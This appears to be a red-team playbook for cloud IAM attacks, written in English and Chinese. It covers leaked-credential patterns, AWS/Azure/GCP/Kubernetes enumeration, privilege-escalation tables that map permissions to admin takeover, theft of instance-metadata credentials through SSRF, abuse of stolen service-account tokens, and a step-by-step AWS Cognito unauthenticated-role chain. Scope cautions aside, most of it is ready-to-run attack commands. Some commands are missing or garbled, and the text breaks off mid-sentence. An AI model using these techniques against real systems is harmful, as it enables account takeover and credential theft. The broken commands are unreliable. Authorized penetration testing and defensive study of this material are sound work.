cloud-iam-deep

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

When to use

何时使用

Trigger when:
  • A cloud credential surfaces (key, secret, token, JSON file)
  • SSRF chain reaches IMDS / metadata endpoint
  • APK / git-leak reveals embedded cloud key
  • Recon shows public S3/GCS/Azure-blob with permissions you can verify
  • A Kubernetes API or service-account token is exposed
  • Post-RCE on a cloud-hosted instance — pivot to cloud control plane
Do NOT use for:
  • On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
  • Web2 vulns that happen to be on AWS — use the relevant
    hunt-*
    skill

在以下情况触发:
  • 发现云凭据(key、secret、token、JSON 文件)
  • SSRF 链到达 IMDS / metadata endpoint
  • APK / git-leak 暴露嵌入式云 key
  • 侦察显示公共 S3/GCS/Azure-blob,且其权限可验证
  • Kubernetes API 或 service-account token 暴露
  • 云托管实例在 RCE 后取得立足点——转向云控制平面
不要用于:
  • 仅本地部署环境(可使用 AD 攻击相关 skill,但按照仅外部攻击的边界,它们不在范围内)
  • 恰好运行在 AWS 上的 Web2 漏洞——使用相应的
    hunt-*
    skill

Credential identification (first 60 seconds)

凭据识别(前 60 秒)

bash
undefined
bash
undefined

AWS access key patterns

AWS access key patterns

AKIA[0-9A-Z]{16} # IAM user access key (long-term) ASIA[0-9A-Z]{16} # STS temporary credential AGPA[0-9A-Z]{16} # IAM group AIDA[0-9A-Z]{16} # IAM user (user-id) AROA[0-9A-Z]{16} # IAM role ANPA[0-9A-Z]{16} # Managed policy
AKIA[0-9A-Z]{16} # IAM user access key (long-term) ASIA[0-9A-Z]{16} # STS temporary credential AGPA[0-9A-Z]{16} # IAM group AIDA[0-9A-Z]{16} # IAM user (user-id) AROA[0-9A-Z]{16} # IAM role ANPA[0-9A-Z]{16} # Managed policy

AWS secret pattern (40-char base64-ish — context required)

AWS secret pattern (40-char base64-ish — context required)

[A-Za-z0-9/+=]{40} # AWS secret access key
[A-Za-z0-9/+=]{40} # AWS secret access key

Azure

Azure

AccountKey=[A-Za-z0-9+/=]{86} # Storage account key client_secret pattern + UUID # Azure AD app credential
AccountKey=[A-Za-z0-9+/=]{86} # Storage account key client_secret pattern + UUID # Azure AD app credential

GCP service account JSON

GCP service account JSON

{ "type": "service_account", "project_id": "...", "private_key_id": "...", "private_key": "-----BEGIN PRIVATE KEY-----..." }
{ "type": "service_account", "project_id": "...", "private_key_id": "...", "private_key": "-----BEGIN PRIVATE KEY-----..." }

K8s SA token (JWT format — decode to confirm)

K8s SA token (JWT format — decode to confirm)

eyJhbGciOiJSUzI1... # decode kid claim to see issuer

---
eyJhbGciOiJSUzI1... # decode kid claim to see issuer

---

AWS — read-only validation (the safe first step)

AWS——只读验证(安全的第一步)

bash
undefined
bash
undefined

Set credential

Set credential

export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..."
export AWS_ACCESS_KEY_ID="AKIA..." export AWS_SECRET_ACCESS_KEY="..."

1. WHO am I?

1. WHO am I?

aws sts get-caller-identity
aws sts get-caller-identity

Returns: UserId, Account, Arn

Returns: UserId, Account, Arn

Arn tells you: IAM user vs role, account ID, name

Arn tells you: IAM user vs role, account ID, name

2. WHAT can I do? (the privesc question)

2. WHAT can I do? (the privesc question)

Try common read-only first — failures still inform you

Try common read-only first — failures still inform you

aws iam list-users 2>&1 | head -5 aws iam list-roles 2>&1 | head -5 aws iam list-policies 2>&1 | head -5 aws iam list-groups 2>&1 | head -5
aws iam list-users 2>&1 | head -5 aws iam list-roles 2>&1 | head -5 aws iam list-policies 2>&1 | head -5 aws iam list-groups 2>&1 | head -5

3. WHAT policies are attached to me?

3. WHAT policies are attached to me?

aws iam list-attached-user-policies --user-name <self> aws iam list-user-policies --user-name <self> # inline policies aws iam list-groups-for-user --user-name <self>
aws iam list-attached-user-policies --user-name <self> aws iam list-user-policies --user-name <self> # inline policies aws iam list-groups-for-user --user-name <self>

4. Service-by-service surface

4. Service-by-service surface

aws ec2 describe-instances --max-items 1 2>&1 | head aws s3 ls 2>&1 | head -10 aws lambda list-functions --max-items 5 2>&1 | head aws rds describe-db-instances --max-items 5 2>&1 | head aws secretsmanager list-secrets --max-results 5 2>&1 | head aws ssm describe-parameters --max-results 5 2>&1 | head
aws ec2 describe-instances --max-items 1 2>&1 | head aws s3 ls 2>&1 | head -10 aws lambda list-functions --max-items 5 2>&1 | head aws rds describe-db-instances --max-items 5 2>&1 | head aws secretsmanager list-secrets --max-results 5 2>&1 | head aws ssm describe-parameters --max-results 5 2>&1 | head

5. Audit any cross-account / external trust

5. Audit any cross-account / external trust

aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS,
arn:aws:iam::
)]' 2>&1 | head -20

---
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS,
arn:aws:iam::
)]' 2>&1 | head -20

---

AWS privesc patterns (24+ documented —
iam_privesc
techniques)

AWS 权限提升模式(已记录 24+ 种——
iam_privesc
技术)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:
You haveEscalate via
iam:CreateAccessKey
Create access key on any user → impersonate
iam:CreateLoginProfile
Set a console password on a user → login
iam:UpdateLoginProfile
Reset console password on a user
iam:AttachUserPolicy
Attach AdministratorAccess to self
iam:AttachGroupPolicy
Attach AdministratorAccess to a group you're in
iam:AttachRolePolicy
+ sts:AssumeRole
Attach to a role you can assume
iam:PutUserPolicy
Inline AdministratorAccess to self
iam:PutGroupPolicy
Inline policy on a group
iam:PutRolePolicy
Inline on a role you can assume
iam:AddUserToGroup
Add self to admin group
iam:UpdateAssumeRolePolicy
+ sts:AssumeRole
Modify trust to allow self
iam:CreatePolicyVersion
Create v2 of an attached policy with admin
iam:SetDefaultPolicyVersion
Switch attached policy to admin version
iam:PassRole
+ ec2:RunInstances
Launch EC2 as admin role → use instance creds
iam:PassRole
+ lambda:CreateFunction/InvokeFunction
Run code as admin role
iam:PassRole
+ cloudformation:CreateStack
CF stack creates resources as admin
iam:PassRole
+ glue:CreateDevEndpoint
Notebook runs as admin role
iam:PassRole
+ datapipeline
Pipeline runs as admin role
iam:PassRole
+ codestar:CreateProject
New project gets admin role
ec2:RunInstances
(with admin instance profile already on the AMI)
Spin instance, exfil creds from IMDS
lambda:UpdateFunctionCode
(function has admin role)
Replace code → exfil creds
lambda:UpdateFunctionConfiguration
Add layer / env var that exfils
cloudformation:UpdateStack
Modify stack to grant self admin
sts:AssumeRole
(where trust allows you)
Direct privilege jump
Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

快速查询——如果你拥有以下任一 IAM 操作,可通过所列技术提升权限:
你拥有通过以下方式提升
iam:CreateAccessKey
为任意用户创建 access key → 冒充该用户
iam:CreateLoginProfile
为用户设置控制台密码 → 登录
iam:UpdateLoginProfile
重置用户的控制台密码
iam:AttachUserPolicy
向自己附加 AdministratorAccess
iam:AttachGroupPolicy
向自己所属的 group 附加 AdministratorAccess
iam:AttachRolePolicy
+
sts:AssumeRole
向自己可 assume 的 role 附加策略
iam:PutUserPolicy
向自己添加内联 AdministratorAccess
iam:PutGroupPolicy
为 group 添加内联策略
iam:PutRolePolicy
为自己可 assume 的 role 添加内联策略
iam:AddUserToGroup
将自己加入管理员 group
iam:UpdateAssumeRolePolicy
+
sts:AssumeRole
修改信任策略以允许自己访问
iam:CreatePolicyVersion
为已附加策略创建具有管理员权限的 v2
iam:SetDefaultPolicyVersion
将已附加策略切换为管理员版本
iam:PassRole
+
ec2:RunInstances
以管理员 role 启动 EC2 → 使用实例凭据
iam:PassRole
+
lambda:CreateFunction/InvokeFunction
以管理员 role 运行代码
iam:PassRole
+
cloudformation:CreateStack
以管理员身份创建资源的 CF stack
iam:PassRole
+
glue:CreateDevEndpoint
以管理员 role 运行 Notebook
iam:PassRole
+
datapipeline
以管理员 role 运行 Pipeline
iam:PassRole
+
codestar:CreateProject
新项目获得管理员 role
ec2:RunInstances
(AMI 已配置管理员 instance profile)
启动实例,从 IMDS 外泄凭据
lambda:UpdateFunctionCode
(函数具有管理员 role)
替换代码 → 外泄凭据
lambda:UpdateFunctionConfiguration
添加用于外泄数据的 layer / 环境变量
cloudformation:UpdateStack
修改 stack,为自己授予管理员权限
sts:AssumeRole
(信任策略允许你访问)
直接提升权限
许多破坏性操作不在外部红队范围内;应记录路径,不要一律执行。

AWS — STS / cross-account / role chaining

AWS——STS/跨账号/role 链式操作

bash
undefined
bash
undefined

Enumerate roles you can assume across accounts

Enumerate roles you can assume across accounts

aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json

Parse for "Principal.AWS" containing different account IDs

Parse for "Principal.AWS" containing different account IDs

Assume a role

Assume a role

aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

Set new creds

Set new creds

export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."
export AWS_ACCESS_KEY_ID="ASIA..." export AWS_SECRET_ACCESS_KEY="..." export AWS_SESSION_TOKEN="..."

Verify

Verify

aws sts get-caller-identity # should now show OTHER_ACCT
aws sts get-caller-identity # should now show OTHER_ACCT

Re-enumerate from new identity (chain continues)

Re-enumerate from new identity (chain continues)


**Confused-deputy pattern:** look for `sts:ExternalId` missing or trust policies that allow `arn:aws:iam::*:role/*`. If `ExternalId` is not required, anyone can assume the role.

---

**混淆代理模式:**查找缺少 `sts:ExternalId` 的情况,或允许 `arn:aws:iam::*:role/*` 的信任策略。如果不要求 `ExternalId`,任何人都能 assume 该 role。

---

AWS IMDSv1 / IMDSv2 abuse via SSRF

AWS——通过 SSRF 滥用 IMDSv1/IMDSv2

bash
undefined
bash
undefined

IMDSv1 (legacy, still common — straight GET):

IMDSv1 (legacy, still common — straight GET):

Returns role name → fetch creds:

Returns role name → fetch creds:

JSON with AccessKeyId, SecretAccessKey, Token, Expiration

JSON with AccessKeyId, SecretAccessKey, Token, Expiration

IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):

IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):

curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" TOKEN=... curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" TOKEN=... curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

SSRF bypass for IMDSv2:

SSRF bypass for IMDSv2:

Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.

Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.

Exception: SSRF in functions that themselves perform requests with custom headers.

Exception: SSRF in functions that themselves perform requests with custom headers.


---

---

Azure — credential validation

Azure——凭据验证

bash
undefined
bash
undefined

Login with a credential

Login with a credential

az login --service-principal -u <appId> -p <password> --tenant <tenantId>
az login --service-principal -u <appId> -p <password> --tenant <tenantId>

OR with managed identity (from inside Azure VM)

OR with managed identity (from inside Azure VM)

az login --identity
az login --identity

Who am I?

Who am I?

az account show
az account show

Subscriptions

Subscriptions

az account list --output table
az account list --output table

Role assignments (Azure RBAC)

Role assignments (Azure RBAC)

az role assignment list --assignee <objectId> --all az role assignment list --all --query '[?principalId==
<objectId>
]' --output table
az role assignment list --assignee <objectId> --all az role assignment list --all --query '[?principalId==
<objectId>
]' --output table

Resources I can read

Resources I can read

az resource list --output table | head -30 az storage account list --output table az keyvault list --output table az vm list --output table

---
az resource list --output table | head -30 az storage account list --output table az keyvault list --output table az vm list --output table

---

Azure — Managed Identity abuse

Azure——Managed Identity 滥用

bash
undefined
bash
undefined

From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):

From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):

Returns access_token for the Managed Identity. Use:

Returns access_token for the Managed Identity. Use:

TOKEN="..." curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
TOKEN="..." curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

Get token for Key Vault

Get token for Key Vault

Get token for Graph

Get token for Graph

→ If Managed Identity has Graph permissions, read all M365 data

→ If Managed Identity has Graph permissions, read all M365 data


---

---

Azure privesc patterns

Azure 权限提升模式

You haveEscalate via
Microsoft.Authorization/roleAssignments/write
on tenant
Self-assign Owner
Microsoft.Authorization/roleDefinitions/write
Modify role def to add powers
Microsoft.Compute/virtualMachines/runCommand/action
Run command on VM (with VM's MI)
Microsoft.KeyVault/vaults/secrets/getSecret/action
Read all KV secrets
Microsoft.Storage/storageAccounts/listkeys/action
Read all storage blobs
Microsoft.Web/sites/publishxml/action
Get publish profile → RCE on app
Microsoft.Web/sites/host/listkeys/action
Func app key → RCE via function trigger
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory
Grant self Global Admin

你拥有通过以下方式提升
租户上的
Microsoft.Authorization/roleAssignments/write
为自己分配 Owner
Microsoft.Authorization/roleDefinitions/write
修改 role 定义以添加权限
Microsoft.Compute/virtualMachines/runCommand/action
在 VM 上运行命令(使用 VM 的 MI)
Microsoft.KeyVault/vaults/secrets/getSecret/action
读取所有 Key Vault secrets
Microsoft.Storage/storageAccounts/listkeys/action
读取所有 Storage blob
Microsoft.Web/sites/publishxml/action
获取发布配置 → 在应用上执行 RCE
Microsoft.Web/sites/host/listkeys/action
获取函数应用 key → 通过函数触发器执行 RCE
Microsoft.AAD.Directory.*
(应用注册)+
RoleManagement.ReadWrite.Directory
为自己授予 Global Admin

GCP — service account JSON

GCP——service account JSON

bash
undefined
bash
undefined

Activate

Activate

gcloud auth activate-service-account --key-file=sa-leaked.json
gcloud auth activate-service-account --key-file=sa-leaked.json

Who am I?

Who am I?

gcloud auth list gcloud config get-value account gcloud config get-value project
gcloud auth list gcloud config get-value account gcloud config get-value project

What roles does this SA have? (project-level only — not org-level)

What roles does this SA have? (project-level only — not org-level)

gcloud projects get-iam-policy <projectId>
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"
gcloud projects get-iam-policy <projectId>
--flatten="bindings[].members"
--format="table(bindings.role)"
--filter="bindings.members:<sa-email>"

Service-by-service:

Service-by-service:

gcloud compute instances list 2>&1 | head gcloud storage buckets list 2>&1 | head gcloud secrets list 2>&1 | head gcloud functions list 2>&1 | head gcloud sql instances list 2>&1 | head gcloud container clusters list 2>&1 | head

---
gcloud compute instances list 2>&1 | head gcloud storage buckets list 2>&1 | head gcloud secrets list 2>&1 | head gcloud functions list 2>&1 | head gcloud sql instances list 2>&1 | head gcloud container clusters list 2>&1 | head

---

GCP privesc patterns

GCP 权限提升模式

You haveEscalate via
iam.serviceAccounts.getAccessToken
on higher-priv SA
Get token for that SA
iam.serviceAccounts.implicitDelegation
Chain through delegate SAs
iam.serviceAccounts.signBlob
/
signJwt
on higher SA
Forge JWT for that SA
iam.serviceAccountKeys.create
Create new key for any SA → impersonate
iam.serviceAccounts.setIamPolicy
Grant self impersonation rights
iam.roles.update
(on custom role)
Add admin permissions to a role you have
cloudfunctions.functions.update
(function runs as high-priv SA)
Replace code → exfil creds
cloudfunctions.functions.call
+ above
Trigger replacement
compute.instances.setMetadata
Add ssh-keys metadata → SSH as root
compute.instances.setServiceAccount
Attach higher-priv SA to instance
cloudbuild.builds.create
(build runs as project SA)
Build executes attacker code
deploymentmanager.deployments.create
Resources created as DM SA

你拥有通过以下方式提升
高权限 SA 上的
iam.serviceAccounts.getAccessToken
获取该 SA 的 token
iam.serviceAccounts.implicitDelegation
通过 delegate SA 进行链式操作
高权限 SA 上的
iam.serviceAccounts.signBlob
/
signJwt
为该 SA 伪造 JWT
iam.serviceAccountKeys.create
为任意 SA 创建新 key → 冒充该 SA
iam.serviceAccounts.setIamPolicy
为自己授予冒充权限
iam.roles.update
(作用于自定义 role)
向自己拥有的 role 添加管理员权限
cloudfunctions.functions.update
(函数以高权限 SA 运行)
替换代码 → 外泄凭据
cloudfunctions.functions.call
+ 上述权限
触发替换后的函数
compute.instances.setMetadata
添加 SSH key 元数据 → 以 root 身份登录
compute.instances.setServiceAccount
向实例附加更高权限的 SA
cloudbuild.builds.create
(build 以项目 SA 运行)
执行攻击者代码
deploymentmanager.deployments.create
以 DM SA 身份创建资源

GCP IMDS attack (via SSRF or post-RCE)

GCP IMDS 攻击(通过 SSRF 或 RCE 后利用)

bash
undefined
bash
undefined

GCP IMDS endpoint:

GCP IMDS endpoint:

Returns access token. Use:

Returns access token. Use:

TOKEN=... curl -H "Authorization: Bearer $TOKEN"
"https://cloudresourcemanager.googleapis.com/v1/projects"

---
TOKEN=... curl -H "Authorization: Bearer $TOKEN"
"https://cloudresourcemanager.googleapis.com/v1/projects"

---

Kubernetes — exposed API / SA token

Kubernetes——暴露的 API/SA token

bash
undefined
bash
undefined

Check anonymous access on K8s API

Check anonymous access on K8s API

Anonymous binding (system:anonymous user) — surprisingly common

Anonymous binding (system:anonymous user) — surprisingly common

If SA token exfil'd (eyJ...):

If SA token exfil'd (eyJ...):

export TOKEN="eyJ..." kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
undefined
export TOKEN="eyJ..." kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A
undefined

K8s privesc patterns

K8s 权限提升模式

You haveEscalate via
pods/exec
on high-priv pod
exec into pod with admin SA token
pods/create
+
serviceaccounts/use
Create pod mounting admin SA token
secrets/get
Read any service-account token in cluster
clusterrolebindings/create
Grant self cluster-admin
roles/escalate
or
clusterroles/escalate
Add permissions to role
nodes/proxy
Proxy to kubelet on any node → exec via kubelet
bind
verb on roles
Bind a role you don't have to a subject
impersonate
on users/groups/SAs
Operate as another principal

你拥有通过以下方式提升
高权限 pod 上的
pods/exec
进入 pod,并使用其中的管理员 SA token
pods/create
+
serviceaccounts/use
创建挂载管理员 SA token 的 pod
secrets/get
读取集群中的任意 service-account token
clusterrolebindings/create
为自己授予 cluster-admin
roles/escalate
或
clusterroles/escalate
向 role 添加权限
nodes/proxy
代理到任意节点上的 kubelet → 通过 kubelet 执行命令
role 上的
bind
verb
将自己无权持有的 role 绑定到目标主体
用户/group/SA 上的
impersonate
以其他 principal 身份操作

Tooling reference

工具参考

ToolCloudPurpose
PacuAWSFull red-team framework, 100+ modules
enumerate-iam.pyAWSBrute-force list of API calls to discover permissions
PMapperAWSVisualize privesc paths as graph
CloudFoxAWSRecon-focused (enumerate resources, no privesc)
ProwlerAWS/Azure/GCPCompliance scanning + enumeration
ScoutSuiteAWS/Azure/GCP/OCIMulti-cloud audit
AzureHoundAzureBloodHound-style graph for Azure
MicroBurstAzureAzure-specific recon and abuse modules
ROADtoolsAzureEntra ID enumeration toolkit
GCPBucketBruteGCPGCS bucket permission enumeration
gcpwnGCPGCP-specific exploitation framework
PeiratesK8sContainer/cluster exploitation toolkit
kube-hunterK8sAuto-scan cluster from inside/outside
kubectl-traceK8sTrace processes (post-foothold)

工具云平台用途
PacuAWS完整的红队框架,包含 100+ 个模块
enumerate-iam.pyAWS暴力枚举 API 调用以发现权限
PMapperAWS以图形式可视化权限提升路径
CloudFoxAWS侧重侦察(枚举资源,不进行权限提升)
ProwlerAWS/Azure/GCP合规扫描与枚举
ScoutSuiteAWS/Azure/GCP/OCI多云审计
AzureHoundAzureAzure 专用的 BloodHound 风格关系图
MicroBurstAzureAzure 专用侦察与滥用模块
ROADtoolsAzureEntra ID 枚举工具包
GCPBucketBruteGCPGCS bucket 权限枚举
gcpwnGCPGCP 专用漏洞利用框架
PeiratesK8s容器/集群漏洞利用工具包
kube-hunterK8s从集群内部/外部自动扫描
kubectl-traceK8s追踪进程(取得立足点后)

Anti-patterns

反模式

  • DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
  • DO NOT enumerate everything in scope of an account —
    aws iam list-users
    against an account with 50,000 users is loud and slow
  • DO NOT use
    aws *
    with non-test creds without confirming you have the right account
    — accidentally hitting prod = career risk
  • DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
  • DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
  • DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with
    mid-engagement-ir-detection
  • DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only

  • 未经明确许可,不要执行写入/删除操作——IAM 变更具有破坏性且可被审计发现
  • 不要枚举账号范围内的一切——对拥有 50,000 个用户的账号执行
    aws iam list-users
    会产生大量噪声且速度缓慢
  • 未确认目标账号前,不要使用非测试凭据执行
    aws *
    ——误触生产环境可能影响职业生涯
  • 不要将“我持有凭据”与“该凭据当前有效”混为一谈——始终先通过 STS 检查过期/轮换状态
  • 不要假定一个账号的 STS token 可跨账号使用——区域限制和信任策略仍然适用
  • 不要忽略 CloudTrail/Activity Log 意识——每次 API 调用都有日志;应与
    mid-engagement-ir-detection
    配合使用
  • 不要超出 SOW 允许的范围继续深入——发现管理员凭据并不意味着要使用它们;有些委托仅允许只读操作

Bridge to neighboring skills

与相邻 skill 的衔接

  • hunt-cloud-misconfig
    — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
  • hunt-ssrf
    — SSRF→IMDS is the canonical chain into cloud control plane
  • apk-redteam-pipeline
    — APK secret extraction commonly yields cloud creds
  • supply-chain-attack-recon
    — CI/CD pipelines store cloud creds; finding them is a separate workflow
  • m365-entra-attack
    — Azure cross-product; Managed Identity tokens cross over to Graph
  • mid-engagement-ir-detection
    — cloud control plane activity is monitored; expect mitigations

  • hunt-cloud-misconfig
    ——首先发现凭据的位置(公共 bucket、通过 SSRF 访问 IMDS、泄露的 JSON)
  • hunt-ssrf
    ——SSRF → IMDS 是进入云控制平面的典型攻击链
  • apk-redteam-pipeline
    ——APK secret 提取通常会产生云凭据
  • supply-chain-attack-recon
    ——CI/CD 流水线会存储云凭据;查找它们属于独立工作流
  • m365-entra-attack
    ——Azure 跨产品攻击;Managed Identity token 可进一步访问 Graph
  • mid-engagement-ir-detection
    ——云控制平面活动会受到监控;应预期可能触发缓解措施

Severity scoring guidance

严重程度评分指南

FindingSeverity
AWS access key with
*:*
in policy → confirmed admin
Critical
GCP SA JSON with
roles/owner
on production project
Critical
Azure MI on internet-exposed VM with Owner roleCritical
Leaked cred with read-only on prod data storeHigh (or Critical depending on data sensitivity)
Leaked cred with privesc path but no admin yetHigh
Leaked cred — read access only to non-sensitiveMedium
Anonymous public bucket — listing onlyLow/Medium
Anonymous bucket — write permissionHigh

发现严重程度
策略中包含
*:*
的 AWS access key → 已确认管理员
Critical
GCP SA JSON 对生产项目拥有
roles/owner
Critical
暴露在互联网的 VM 所用 Azure MI 具有 Owner roleCritical
泄露凭据对生产数据存储具有只读权限High(或根据数据敏感度判定为 Critical)
泄露凭据存在权限提升路径,但尚未获得管理员权限High
泄露凭据仅能读取非敏感资源Medium
匿名公共 bucket——仅可列出对象Low/Medium
匿名 bucket——具备写入权限High

Cleanup discipline (deliverable hygiene)

清理纪律(交付物规范性)

If during the engagement you:
  • Used
    sts:AssumeRole
    to chain — note the role names and times in IoCs
  • Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
  • Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems
Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.

如果你在委托期间:
  • 使用
    sts:AssumeRole
    进行了链式操作——在 IoCs 中记录 role 名称和时间
  • 创建了任何 IAM 资源(测试用户、role、策略)——列出这些资源并明确确认清理
  • 读取了敏感数据(Secrets Manager、KMS key、Storage blob 内容)——在交付物中注明数据已被查看,但未被外泄到委托系统之外
云活动极易审计;委托结束后,客户一定会发现这些活动。现在记录,胜过之后措手不及。

AWS Cognito Identity Pool — Unauthenticated-Role Attack Chain (2024-2026 surface)

AWS Cognito Identity Pool——未认证 Role 攻击链(2024-2026 攻击面)

AWS Cognito has two distinct services often confused: User Pools (auth provider) and Identity Pools (federated identity → IAM credentials). Identity Pools can be configured with "Enable access to unauthenticated identities" — which gives ANY anonymous caller an IAM role via
cognito-identity:GetId
→
cognito-identity:GetCredentialsForIdentity
. Mobile apps and SPAs ship the IdentityPoolId in the page bundle. Developers commonly attach overly-broad IAM permissions to the unauth role, especially when the pool was set up for AWS Amplify / Pinpoint / CloudWatch RUM and the role policy was never narrowed.
AWS Cognito 有两个经常被混淆的不同服务:User Pools(身份验证提供方)和 Identity Pools(联合身份 → IAM 凭据)。Identity Pools 可以配置为 “Enable access to unauthenticated identities”,这会允许任何匿名调用者通过
cognito-identity:GetId
→
cognito-identity:GetCredentialsForIdentity
获得 IAM role。移动应用和 SPA 会在页面 bundle 中携带 IdentityPoolId。开发人员经常给未认证 role 附加过于宽泛的 IAM 权限,尤其是为 AWS Amplify / Pinpoint / CloudWatch RUM 设置的 pool,而且其 role policy 从未被收紧。

Step 1 — Discover the IdentityPoolId

第 1 步——发现 IdentityPoolId

The IdentityPoolId is a public identifier by AWS design (
<region>:<UUID>
format). The find:
bash
undefined
IdentityPoolId 根据 AWS 设计是一个公开标识符(格式为
<region>:<UUID>
)。查找方式如下:
bash
undefined

JS bundle / SPA regex (against *.js, *.html, source-map files)

JS bundle / SPA regex (against *.js, *.html, source-map files)

grep -ErohE "identityPoolId["'
\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" . grep -ErohE "IdentityPoolId[\"'
\s:=]+"'["']" . grep -ErohE ""PoolId"\s*:\s*"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})"" .
grep -ErohE "identityPoolId["'
\s:=]+[\"']([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})[\"']" . grep -ErohE "IdentityPoolId[\"'
\s:=]+"'["']" . grep -ErohE ""PoolId"\s*:\s*"([a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36})"" .

Mobile APK (after jadx decompile)

Mobile APK (after jadx decompile)

grep -rEi "identity[-]?pool[-]?id" decoded/ grep -rE ""[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}"" decoded/
grep -rEi "identity[-]?pool[-]?id" decoded/ grep -rE ""[a-z]{2}-[a-z]+-[0-9]:[0-9a-f-]{36}"" decoded/

Also check

Also check

amplifyconfiguration.json awsconfiguration.json aws-exports.js .env.js *.js.map

Wayback CDX captures, GitHub code-search for the apex domain + `IdentityPoolId`, and JS chunks linked from `index.html` are the high-yield search corpora.
amplifyconfiguration.json awsconfiguration.json aws-exports.js .env.js *.js.map

Wayback CDX 抓取记录、针对顶级域名 + `IdentityPoolId` 的 GitHub 代码搜索,以及 `index.html` 链接的 JS chunk,都是高收益搜索语料库。

Step 2 —
GetId
(unauth)

第 2 步——
GetId
(未认证)

bash
aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request
--no-sign-request
is critical — tells the CLI not to look for ambient AWS credentials. Returns
{"IdentityId": "us-east-1:<uuid>"}
. If this returns
NotAuthorizedException
, unauth identities are disabled — stop, not exploitable.
bash
aws cognito-identity get-id \
  --identity-pool-id us-east-1:abcd1234-5678-90ab-cdef-1234567890ab \
  --region us-east-1 \
  --no-sign-request
--no-sign-request
至关重要——它会指示 CLI 不要查找环境中已有的 AWS 凭据。命令返回
{"IdentityId": "us-east-1:<uuid>"}
。如果返回
NotAuthorizedException
,则未认证身份已被禁用——立即停止,此路径不可利用。

Step 3 —
GetCredentialsForIdentity

第 3 步——
GetCredentialsForIdentity

bash
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request
Returns real STS credentials with ~1 hour TTL:
AccessKeyId
(ASIA…),
SecretKey
,
SessionToken
,
Expiration
.
bash
aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:<returned-uuid> \
  --region us-east-1 \
  --no-sign-request
返回真实的 STS 凭据,TTL 约为 1 小时:
AccessKeyId
(ASIA…)、
SecretKey
、
SessionToken
、
Expiration
。

Step 4 — Confirm role ARN

第 4 步——确认 role ARN

bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
Returns role ARN like
arn:aws:sts::<account>:assumed-role/Cognito_<PoolName>Unauth_Role/CognitoIdentityCredentials
. Account ID is now disclosed.
bash
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity
返回类似
